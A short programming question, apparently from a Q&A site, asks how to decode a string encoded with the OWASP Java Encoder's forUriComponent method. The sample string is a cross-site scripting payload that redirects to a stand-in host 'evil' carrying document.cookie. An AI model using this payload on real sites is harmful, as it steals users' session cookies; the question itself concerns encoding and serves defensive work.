I encoded the query string below with the forURIComponent
method of the OWASP encoder.
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery
, and the decoded string should be exactly equal to the original query. How can I do this?